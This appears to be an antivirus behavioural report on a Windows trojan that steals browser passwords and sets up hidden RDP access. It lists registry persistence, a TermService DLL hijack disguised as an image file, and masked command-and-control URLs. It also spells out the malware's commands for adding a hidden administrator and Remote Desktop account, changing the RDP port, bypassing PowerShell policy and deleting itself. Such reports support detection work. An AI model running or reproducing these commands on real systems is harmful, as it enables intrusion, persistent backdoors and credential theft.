Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'signed.exe' = '%PROGRAMDATA%\signed.exe'
Creates the following services
- [<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%WINDIR%\branding\brandlogo.jpg'
- [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Malicious functions
Creates and executes the following
- '' (downloaded from the Internet)
Injects code into
the following system processes:
- %WINDIR%\syswow64\dllhost.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
- %LOCALAPPDATA%low\colvfnsokpbv.tzq
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %PROGRAMDATA%\signed.exe
- %TEMP%\nsl50be.tmp\blowfish.dll
- %TEMP%\help.zip
- %TEMP%\nsl50be.tmp\nsunzip.dll
- %TEMP%\evil.ps1
- %TEMP%\nsl50be.tmp\system.dll
- %WINDIR%\branding\brandlogo.jpg
- %WINDIR%\branding\microsoftmail.png
- %WINDIR%\branding\imagescache.xml
- <SYSTEM32>\rfxvmt.dll
- %WINDIR%\temp\usrnm.txt
Deletes the following files
- %LOCALAPPDATA%low\colvfnsokpbv.tzq
- %TEMP%\nsl50be.tmp\blowfish.dll
- %TEMP%\nsl50be.tmp\nsunzip.dll
- %TEMP%\nsl50be.tmp\system.dll
Substitutes the following files
- %LOCALAPPDATA%low\colvfnsokpbv.tzq
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://92.##.192.153/signed.exe
HTTP POST requests
- http://ki######o2191293jeriii.com/api/check.get
- http://ki######o2191293jeriii.com/api/gate.get?p1#####################################################################################
UDP
- DNS ASK ki######o2191293jeriii.com
Miscellaneous
Creates and executes the following
- '%PROGRAMDATA%\signed.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\evil.ps1
- '%WINDIR%\syswow64\cmd.exe' /c TimeOut 1 & Del /F "<Full path to file>"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ping 127.0.0.1 && del "%WINDIR%\SysWOW64\dllhost.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c timeout -n 7&del $EXEPATH /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c timeout -t 15& powershell -ep bypass -f %TEMP%\evil.ps1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc lHmYsIFc /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" mlqmuixsy$ /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc lHmYsIFc' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\dllhost.exe'
- '<SYSTEM32>\net.exe' start TermService
- '<SYSTEM32>\net1.exe' start TermService
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del
- '<SYSTEM32>\net.exe' user WgaUtilAcc 000000 /del
- '<SYSTEM32>\net1.exe' user WgaUtilAcc 000000 /del
- '<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc lHmYsIFc /add
- '<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
- '<SYSTEM32>\net.exe' user WgaUtilAcc lHmYsIFc /add
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
- '<SYSTEM32>\net1.exe' user WgaUtilAcc lHmYsIFc /add
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" mlqmuixsy$ /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" mlqmuixsy$ /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" mlqmuixsy$ /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc lHmYsIFc
- '<SYSTEM32>\cmd.exe' /c cmd /c net start TermService
- '<SYSTEM32>\cmd.exe' /c net start TermService
- '<SYSTEM32>\net1.exe' start rdpdr
- '<SYSTEM32>\net.exe' start rdpdr
- '<SYSTEM32>\cmd.exe' /c net start rdpdr
- '%WINDIR%\syswow64\timeout.exe' 1
- '%WINDIR%\syswow64\cmd.exe' /c ping 127.0.0.1 && del "%WINDIR%\SysWOW64\dllhost.exe"
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1
- '%WINDIR%\syswow64\cmd.exe' /c timeout -n 7&del $EXEPATH /f
- '<SYSTEM32>\cmd.exe' /c timeout -t 15& powershell -ep bypass -f %TEMP%\evil.ps1
- '%WINDIR%\syswow64\timeout.exe' -n 7
- '<SYSTEM32>\timeout.exe' -t 15
- '<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
- '<SYSTEM32>\net.exe' user WgaUtilAcc lHmYsIFc
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
- '<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
- '<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %WINDIR%\branding\brandlogo.jpg /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
- '<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\cmd.exe' /c cmd /c net start rdpdr
- '%WINDIR%\syswow64\cmd.exe' /c TimeOut 1 & Del /F "<Full path to file>"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
- '<SYSTEM32>\net1.exe' user WgaUtilAcc lHmYsIFc
